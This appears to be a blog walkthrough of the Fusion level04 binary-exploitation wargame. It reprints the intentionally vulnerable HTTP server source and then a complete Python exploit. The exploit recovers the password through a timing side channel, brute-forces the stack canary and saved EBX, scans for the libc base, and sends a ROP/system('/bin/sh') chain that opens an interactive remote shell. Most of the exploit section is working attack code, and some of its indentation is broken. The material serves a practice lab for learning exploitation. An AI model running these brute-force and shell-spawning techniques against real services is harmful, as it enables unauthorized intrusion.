Exploit Exercise Binary Exploitation Fusion level04

Hello Crazy hackers,



Welcome Again To My Blog. Today, I am going to share my solution for Exploit Exercise Fusion Level 04. Before Sharing This Solution, I just want to express my feeling with you all guyz, This Level was like Insane For Me. Really, Very Painful and Depressed. But ..... : )

I Just want to Say, Only One Point. Here I am share my solution directly. No Extra Line. Because According to my walkthrough experience, if you can't understand below provided solution on your own than, victory of this level will be meaning less.

For Details, Check Here.


Source Codes


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#include "../common/common.c"

// original code from micro_httpd_12dec2005.tar.gz -- acme.com. added vulnerabilities etc ;)

/* micro_httpd - really small HTTP server
**
** Copyright (c) 1999,2005 by Jef Poskanzer <[email protected]>.
** All rights reserved.
**
** Redistribution and use in source and binary forms, with or without
** modification, are permitted provided that the following conditions
** are met:
** 1. Redistributions of source code must retain the above copyright
**    notice, this list of conditions and the following disclaimer.
** 2. Redistributions in binary form must reproduce the above copyright
**    notice, this list of conditions and the following disclaimer in the
**    documentation and/or other materials provided with the distribution.
** 
** THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
** ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
** IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
** ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
** FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
** DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
** OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
** HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
** LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
** OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
** SUCH DAMAGE.
*/


#define SERVER_NAME "level04.c"
#define SERVER_URL "https://gist.github.com/b69116098bcc6ef7dfb4"
#define PROTOCOL "HTTP/1.0"
#define RFC1123FMT "%a, %d %b %Y %H:%M:%S GMT"


/* Forwards. */
static void file_details( char* dir, char* name );
static void send_error( int status, char* title, char* extra_header, char* text );
static void send_headers( int status, char* title, char* extra_header,
  char* mime_type, off_t length, time_t mod );
static char* get_mime_type( char* name );
static void strdecode( char* to, char* from );
static int hexit( char c );
static void strencode( char* to, size_t tosize, const char* from );

int webserver(int argc, char **argv);

// random decoder 
void build_decoding_table();

char *password;
int password_size = 16;

int main(int argc, char **argv)
{
  int fd, i;
  char *args[6];

  /* Securely generate a password for this session */

  secure_srand();
  password = calloc(password_size, 1);
  for(i = 0; i < password_size; i++) {
      switch(rand() % 3) {
          case 0: password[i] = (rand() % 25) + 'a'; break;
          case 1: password[i] = (rand() % 25) + 'A'; break;
          case 2: password[i] = (rand() % 9) + '0'; break;
      }
  }

  // printf("password is %s\n", password);

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
  alarm(15);

  args[0] = "/opt/fusion/bin/stack06";
  args[1] = "/opt/fusion/run";
  args[2] = NULL;

  build_decoding_table();

  webserver(2, args);
}

// random decoder from stackoverflow
// modified to make more vulnerable

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
                                'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
                                'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
                                'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
                                'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
                                'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
                                'w', 'x', 'y', 'z', '0', '1', '2', '3',
                                '4', '5', '6', '7', '8', '9', '+', '/'};
static char *decoding_table = NULL;
static int mod_table[] = {0, 2, 1};

void base64_decode(const char *data,
                    size_t input_length,
                    unsigned char *output,
                    size_t *output_length) {

    if (decoding_table == NULL) build_decoding_table();

    // printf("data: %p, input_length: %d, output: %p, output_length: %p\n",
    // data, input_length, output, output_length);

    if ((input_length % 4) != 0) {
  // printf("len % 4 = fail\n");
  return;
    }

    *output_length = input_length / 4 * 3;
    if (data[input_length - 1] == '=') (*output_length)--;
    if (data[input_length - 2] == '=') (*output_length)--;

    for (int i = 0, j = 0; i < input_length;) {

        uint32_t sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
        uint32_t sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
        uint32_t sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
        uint32_t sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];

        uint32_t triple = (sextet_a << 3 * 6)
                        + (sextet_b << 2 * 6)
                        + (sextet_c << 1 * 6)
                        + (sextet_d << 0 * 6);

        if (j < *output_length) output[j++] = (triple >> 2 * 8) & 0xFF;
        if (j < *output_length) output[j++] = (triple >> 1 * 8) & 0xFF;
        if (j < *output_length) output[j++] = (triple >> 0 * 8) & 0xFF;
    }
}


void build_decoding_table() {

    decoding_table = malloc(256);

    for (int i = 0; i < 0x40; i++)
        decoding_table[encoding_table[i]] = i;
}


void base64_cleanup() {
    free(decoding_table);
}


// end random decoder

int validate_credentials(char *line)
{
  char *p, *pw;
  unsigned char details[2048];
  int bytes_wrong;
  int l;
  struct timeval tv;
  int output_len;


  memset(details, 0, sizeof(details));

  output_len = sizeof(details);

  p = strchr(line, '\n');
  if(p) *p = 0;
  p = strchr(line, '\r');
  if(p) *p = 0;

  // printf("%d\n", strlen(line));
  base64_decode(line, strlen(line), details, &output_len);
  // printf("%s -> %s\n", line, details);
  // fflush(stdout);
  
  p = strchr(details, ':');
  pw = (p == NULL) ? (char *)details : p + 1;

  for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) {
      if(pw[l] != password[l]) {
          
#if 0
          char *buf;
          asprintf(&buf, "[%d] wrong byte (%02x vs %02x)\n", l,
                          password[l], pw[l]);
          write(58, buf, strlen(buf));
#endif
          
          bytes_wrong++;
      }
  }

  // anti bruteforce mechanism. good luck ;>
  
  tv.tv_sec = 0;
  tv.tv_usec = 2500 * bytes_wrong;

  select(0, NULL, NULL, NULL, &tv);

  // printf("%d bytes wrong!\n", bytes_wrong);

  if(l < password_size || bytes_wrong)
      send_error(401, "Unauthorized",
      "WWW-Authenticate: Basic realm=\"stack06\"",
      "Unauthorized");

  return 1;
}

int
webserver( int argc, char** argv )
    {
    char line[10000], method[10000], path[10000], protocol[10000], idx[20000];
    char location[20000], command[20000];
    char* file;
    size_t len;
    int ich;
    struct stat sb;
    FILE* fp;
    struct dirent **dl;
    int i, n;
    int authed = 0;

    if ( argc != 2 )
  send_error( 500, "Internal Error", (char*) 0,
  "Config error - no dir specified." );
    if ( chdir( argv[1] ) < 0 )
  send_error( 500, "Internal Error", (char*) 0,
  "Config error - couldn't chdir()." );
    if ( fgets( line, sizeof(line), stdin ) == (char*) 0 )
  send_error( 400, "Bad Request", (char*) 0,
  "No request found." );
    if ( sscanf( line, "%[^ ] %[^ ] %[^ ]", method, path, protocol ) != 3 )
  send_error( 400, "Bad Request", (char*) 0, "Can't parse request." );
    while ( fgets( line, sizeof(line), stdin ) != (char*) 0 )
  {
        if ( strncmp ( line, "Authorization: Basic ", 21) == 0)
      authed = validate_credentials(line + 21);
      
  if ( strcmp( line, "\n" ) == 0 || strcmp( line, "\r\n" ) == 0 )
      break;
  }
    if ( ! authed) send_error(401, "Unauthorized",
      "WWW-Authenticate: Basic realm=\"stack06\"",
      "Unauthorized");

    if ( strcasecmp( method, "get" ) != 0 )
  send_error( 501, "Not Implemented", (char*) 0,
  "That method is not implemented." );
    if ( path[0] != '/' )
  send_error( 400, "Bad Request", (char*) 0, "Bad filename." );
    file = &(path[1]);
    strdecode( file, file );
    if ( file[0] == '\0' )
  file = "./";
    len = strlen( file );
    if ( file[0] == '/' || strcmp( file, ".." ) == 0 ||
      strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 ||
      strcmp( &(file[len-3]), "/.." ) == 0 )
  send_error( 400, "Bad Request", (char*) 0, "Illegal filename." );
    if ( stat( file, &sb ) < 0 )
  send_error( 404, "Not Found", (char*) 0, "File not found." );
    if ( S_ISDIR( sb.st_mode ) )
  {
  if ( file[len-1] != '/' )
      {
      (void) snprintf(
      location, sizeof(location), "Location: %s/", path );
      send_error( 302, "Found", location, "Directories must end with a slash." );
      }
  (void) snprintf( idx, sizeof(idx), "%sindex.html", file );
  if ( stat( idx, &sb ) >= 0 )
      {
      file = idx;
      goto do_file;
      }
  send_headers( 200, "Ok", (char*) 0, "text/html", -1, sb.st_mtime );
  (void) printf( "<html><head><title>Index of %s</title></head>\n"
      "<body bgcolor=\"#99cc99\"><h4>Index of %s</h4>\n<pre>\n",
      file, file );
  n = scandir( file, &dl, NULL, alphasort );
  if ( n < 0 )
      perror( "scandir" );
  else
      for ( i = 0; i < n; ++i )
      file_details( file, dl[i]->d_name );
  (void) printf( "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>"
      "\n</body></html>\n", SERVER_URL, SERVER_NAME );
  }
    else
  {
  do_file:
  fp = fopen( file, "r" );
  if ( fp == (FILE*) 0 )
      send_error( 403, "Forbidden", (char*) 0, "File is protected." );
  send_headers( 200, "Ok", (char*) 0, get_mime_type( file ), sb.st_size,
      sb.st_mtime );
  while ( ( ich = getc( fp ) ) != EOF )
      putchar( ich );
  }

    (void) fflush( stdout );
    exit( 0 );
    }


static void
file_details( char* dir, char* name )
    {
    static char encoded_name[1000];
    static char path[2000];
    struct stat sb;
    char timestr[16];

    strencode( encoded_name, sizeof(encoded_name), name );
    (void) snprintf( path, sizeof(path), "%s/%s", dir, name );
    if ( lstat( path, &sb ) < 0 )
  (void) printf( "<a href=\"%s\">%-32.32s</a>    ???\n",
      encoded_name, name );
    else
  {
  (void) strftime( timestr, sizeof(timestr), "%d%b%Y %H:%M",
      localtime( &sb.st_mtime ) );
  (void) printf( "<a href=\"%s\">%-32.32s</a>    %15s %14lld\n",
      encoded_name, name, timestr, (int64_t) sb.st_size );
  }
    }


static void
send_error( int status, char* title, char* extra_header, char* text )
    {
    send_headers( status, title, extra_header, "text/html", -1, -1 );
    (void) printf( "<html><head><title>%d %s</title></head>\n<body "
      "bgcolor=\"#cc9999\"><h4>%d %s</h4>\n", status,
      title, status, title );
    (void) printf( "%s\n", text );
    (void) printf( "<hr>\n<address><a href=\"%s\">%s</a></address>"
      "\n</body></html>\n", SERVER_URL, SERVER_NAME );
    (void) fflush( stdout );
    exit( 1 );
    }


static void
send_headers( int status, char* title, char* extra_header,
  char* mime_type, off_t length, time_t mod )
    {
    time_t now;
    char timebuf[100];

    (void) printf( "%s %d %s\015\012", PROTOCOL, status, title );
    (void) printf( "Server: %s\015\012", SERVER_NAME );
    now = time( (time_t*) 0 );
    (void) strftime( timebuf, sizeof(timebuf), RFC1123FMT, gmtime( &now ) );
    (void) printf( "Date: %s\015\012", timebuf );
    if ( extra_header != (char*) 0 )
  (void) printf( "%s\015\012", extra_header );
    if ( mime_type != (char*) 0 )
  (void) printf( "Content-Type: %s\015\012", mime_type );
    if ( length >= 0 )
  (void) printf( "Content-Length: %lld\015\012", (int64_t) length );
    if ( mod != (time_t) -1 )
  {
  (void) strftime( timebuf, sizeof(timebuf), RFC1123FMT, gmtime( &mod ) );
  (void) printf( "Last-Modified: %s\015\012", timebuf );
  }
    (void) printf( "Connection: close\015\012" );
    (void) printf( "\015\012" );
    }


static char*
get_mime_type( char* name )
    {
    char* dot;

    dot = strrchr( name, '.' );
    if ( dot == (char*) 0 )
  return "text/plain; charset=iso-8859-1";
    if ( strcmp( dot, ".html" ) == 0 || strcmp( dot, ".htm" ) == 0 )
  return "text/html; charset=iso-8859-1";
    if ( strcmp( dot, ".jpg" ) == 0 || strcmp( dot, ".jpeg" ) == 0 )
  return "image/jpeg";
    if ( strcmp( dot, ".gif" ) == 0 )
  return "image/gif";
    if ( strcmp( dot, ".png" ) == 0 )
  return "image/png";
    if ( strcmp( dot, ".css" ) == 0 )
  return "text/css";
    if ( strcmp( dot, ".au" ) == 0 )
  return "audio/basic";
    if ( strcmp( dot, ".wav" ) == 0 )
  return "audio/wav";
    if ( strcmp( dot, ".avi" ) == 0 )
  return "video/x-msvideo";
    if ( strcmp( dot, ".mov" ) == 0 || strcmp( dot, ".qt" ) == 0 )
  return "video/quicktime";
    if ( strcmp( dot, ".mpeg" ) == 0 || strcmp( dot, ".mpe" ) == 0 )
  return "video/mpeg";
    if ( strcmp( dot, ".vrml" ) == 0 || strcmp( dot, ".wrl" ) == 0 )
  return "model/vrml";
    if ( strcmp( dot, ".midi" ) == 0 || strcmp( dot, ".mid" ) == 0 )
  return "audio/midi";
    if ( strcmp( dot, ".mp3" ) == 0 )
  return "audio/mpeg";
    if ( strcmp( dot, ".ogg" ) == 0 )
  return "application/ogg";
    if ( strcmp( dot, ".pac" ) == 0 )
  return "application/x-ns-proxy-autoconfig";
    return "text/plain; charset=iso-8859-1";
    }


static void
strdecode( char* to, char* from )
    {
    for ( ; *from != '\0'; ++to, ++from )
  {
  if ( from[0] == '%' && isxdigit( from[1] ) && isxdigit( from[2] ) )
      {
      *to = hexit( from[1] ) * 16 + hexit( from[2] );
      from += 2;
      }
  else
      *to = *from;
  }
    *to = '\0';
    }


static int
hexit( char c )
    {
    if ( c >= '0' && c <= '9' )
  return c - '0';
    if ( c >= 'a' && c <= 'f' )
  return c - 'a' + 10;
    if ( c >= 'A' && c <= 'F' )
  return c - 'A' + 10;
    return 0;       /* shouldn't happen, we're guarded by isxdigit() */
    }


static void
strencode( char* to, size_t tosize, const char* from )
    {
    int tolen;

    for ( tolen = 0; *from != '\0' && tolen + 4 < tosize; ++from )
  {
  if ( isalnum(*from) || strchr( "/_.-~", *from ) != (char*) 0 )
      {
      *to = *from;
      ++to;
      ++tolen;
      }
  else
      {
      (void) sprintf( to, "%%%02x", (int) *from & 0xff );
      to += 3;
      tolen += 3;
      }
  }
    *to = '\0';
    }



Hint




Level04 introduces timing attacks, position independent executables (PIE), and stack smashing protection (SSP). Partial overwrites ahoy!

Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes


Exploit


#!/usr/bin/python
import socket
import struct
import time
import base64
import string
import sys
from struct import pack
import telnetlib





# Target
V = ('192.168.56.101', 20004)


PASSWORD = 'lb55usy75Ir6OL26'
CANARY = '\x00\xdc\x03\x89'
EBX = '\xb7\x7b\x2e\x04'
BASE = 0xb760b000
OFFSET = 2032


PASSWORD = None
CANARY = None
EBX = None
BASE = None
OFFSET = None

def get_rop(libc):
 # execve /bin/sh generated by RopGadget v3.3
 p = struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x00178020) # @ .data --> will hold /bin 
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x000238df) # pop %eax | ret
 p += "/bin"
 p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret
 p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x00178024) # @ .data + 4 --> hold //sh
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x000238df) # pop %eax | ret
 p += "//sh"
 p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret
 p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x00178028) # @ .data + 8 --> goes to ecx
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x000328e0) # xor %eax,%eax | ret
 p += struct.pack("<I", libc+0x0006cc5a) # mov %eax,(%ecx) | ret --> we put a null there
 p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x00178020) # @ .data --> this goes to ebx, which points to str
 p += struct.pack("<I", libc+0x000e0096) # pop %edx | pop %ecx | pop %ebx | ret
 p += struct.pack("<I", 0x42424242) # padding
 p += struct.pack("<I", libc+0x00178028) # @ .data + 8
 p += struct.pack("<I", libc+0x00178020) # --> /bin/sh into ebx! 
 p += struct.pack("<I", libc+0x00001a9e) # pop %edx | ret
 p += struct.pack("<I", libc+0x00178028) # @ .data + 8
 p += struct.pack("<I", libc+0x000328e0) # xor %eax,%eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x00026722) # inc %eax | ret
 p += struct.pack("<I", libc+0x0002dd35) # int $0x80
 return p


# open /bin/sh
def opensh(base):
 r = ''
 r += struct.pack("I", base + 0x3cb20) # system
 r += 'AAAA'
 r += struct.pack("I", base + 0x001388da) # "/bin/sh"
 #return get_rop(base)  <--- Another Option
 return r
 



# Connect
def connect(IP, PORT):
 # send data
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((IP, PORT))
 #s.settimeout(1)
 return s 

# create req
def req(method='GET', path='/', protocol='HTTP/1.1', add = ''):
 REQ = ''
 REQ += '{} {} {}\r\n'.format(method, path, protocol)
 REQ += 'Authorization: Basic '
 REQ += base64.standard_b64encode(add)
 REQ += '\r\n'*2
 #print '[+] Length Of Encoded String : ', len(base64.encodestring(add)) 
 return REQ

# Pass Extraction Function
def guess_pass(IP, PORT):
 gpass = ''
 l = string.ascii_letters+string.digits
 while len(gpass)!=16:
  print "[*] Total Character Guessed : ", gpass
  print "[-] Trying : "
  for i in l:
   s= connect(IP, PORT)
   REQ = req(add=gpass+i)
   t1 = time.time()
   s.send(REQ)
   s.recv(1024)
   t2 = time.time()
   if (t2-t1)<0.002:
    print "\n[+] New Guess Detected : ", i
    print "[+] Time : ", t2-t1
    gpass += i
    s.close()
    break
   else:
    print i,
   s.close()
 return gpass


# Offset Finding Function
def find_offset(PASS):
 PAYLOAD = 'A'*2000
 for i in range(100, 1000):
         PAYLOAD += 'A'
         s = connect(*V)
         s.send(req(add = PASS+PAYLOAD))
         time.sleep(0.05)
         rcv = s.recv(1024*2)
         if 'smashing' in rcv:
                 print '[+] Output : ', rcv
                  print '[+] Offset : ', len(PAYLOAD)
                 offset = len(PAYLOAD)-1
                 s.close()
                 print rcv
                 break
         else:
                 pass
         s.close()
         sys.stdout.write('\r -> {}'.format(i+2000))
         sys.stdout.flush()
 return offset



# Find Canary Function
def find_canary(PASS, offset):
 canary = ''
 for i in range(0, 4):
         for j in range(0xFF):
                 if (j==ord(':')) | (j==ord('\n')) | (j==ord('\r')):
                         continue
                 s = connect(*V)
                 s.send(req(add = PASS+'A'*offset+canary+chr(j)))
                 time.sleep(0.05)
                 rcv = s.recv(1024)
                 if 'smashing' not in rcv:
                         print '[+] Byte : ', hex(j)
                         canary += chr(j)
                         print '[+] Now Canary : ',[hex(ord(i)) for i in canary]
                         s.close()
                         #print [rcv]
                         break

 print '[+] Canery Found : ', [canary]
 print '[+] Length Of Canary : ', len(canary)
 print '\n'*3
 return canary
# Find EBX
def find_ebx(PASS, offset, canary):
 ebx = ''
 print '[+] Finding EBX..'
 for i in range(0, 4):
         for j in range(0xFF):
                 if (j==ord(':')) | (j==ord('\n')) | (j==ord('\r')):
                         continue
                 try:
    s = connect(*V)
                  s.send(req(add = PASS+'A'*offset+canary+'AAAAAAAAAAAA'+ebx+chr(j)))
                  time.sleep(0.1)
                  rcv = s.recv(1024)
                  if 'smashing' not in rcv:
                          print '[+] Byte : ', hex(j)
                          ebx += chr(j)
                          print '[+] Now EBX : ',[hex(ord(i)) for i in ebx]
                          s.close()
                          break
   except:
    s.close()

 print '[+] EBX Found : ', [ebx]
 print '[+] Length Of EBX : ', len(ebx)
 return ebx

# Ping Back
def pingback(base, pay):
 r = pay
        r += pack("I", base + 0x00018f4e) # pop ebx ; ret
        r += pack("I", base + 0x00175e7d)
        r += pack("I", base + 0xc12c0) # write.plt
        r += pack("I", 0x01) * 2
        r += pack("I", base + 0x0000d729) # "setrlimit" ; string
        r += pack("I", 0x0A)
 return r


# Find BASE
def find_base(PASS, offset, canary, ebx):
 for base in range(0xb7500000, 0xb8000000, 0x1000):
  try:
   #raw_input('Try.')
   s = connect(*V)
   s.send(req(add = pingback(base ,PASS+'A'*offset+canary+ebx+'AAAAAAAABBBBBBBBCCCCCCCC')))
   s.settimeout(2)
   time.sleep(0.05)
   rcv = s.recv(1024)
   if 'setrlimit' in rcv:
    print '[+] Yes! Base Address Detected.'
    print "[+] Base Address : ", hex(base)
    s.close()
    break
   s.close()
  except:
   s.close()
 return base

def start_bin(base, PASS, offset, canary, ebx):
 s = connect(*V)
        s.send(req(add = PASS+'A'*offset+canary+ebx+'AAAAAAAABBBBBBBBCCCCCCCC'+ opensh(base)))
 time.sleep(0.5)
 #s.settimeout(3)
 print s.recv(1024)
 print '[+] Maybe We Are Successful To Open A Shell.. Try id'
 t = telnetlib.Telnet()
 t.sock = s
 t.interact()
 s.close()
 return
 






#  Extract Password
# ===============================================
# =================== Stage 1 ===================
# ===============================================
raw_input("[-] Stage 1 - Password Extraction .[-]\n[+] Ready [Press Enter To Start] : ")



PASS = PASSWORD or guess_pass(*V)

print "[+] Password Found : ", PASS

# Find Offset
# ==================================================
# =================== Stage 2 =====================
# ==================================================
raw_input("[-] Stage 2 - Find Buffer Overflow offset [-]")

PAYLOAD = 'A'*2000

print '[*] Trying Offsets : '
offset = OFFSET or find_offset(PASS)
print "[+] Using Offset : ", offset

# Find Canary Cookie Value
# ===========================================================
# ============== Stage 3 ====================================
# ===========================================================
raw_input('[+]------ Ready To Brute Force CANARY ------------------')

print '[*] Finding Canary'
canary = CANARY or find_canary(PASS, offset)
print '[+] Using CANARY : ', (canary)

# Find EBX value (PIE)
# =================================================================
# ================ finding EBP Value =================================
# =================================================================
raw_input('[+]------ Ready To Brute Force EBX ------------------')


ebx = EBX or find_ebx(PASS, offset, canary)


raw_input('[+]------ Ready To Brute Force libc BASE ------------------')

print '[+] Finding BASE..'

base = BASE or find_base(PASS, offset, canary, ebx)

print "[*] Using Base : ", hex(base)



start_bin(base, PASS, offset, canary, ebx)


exit(0)

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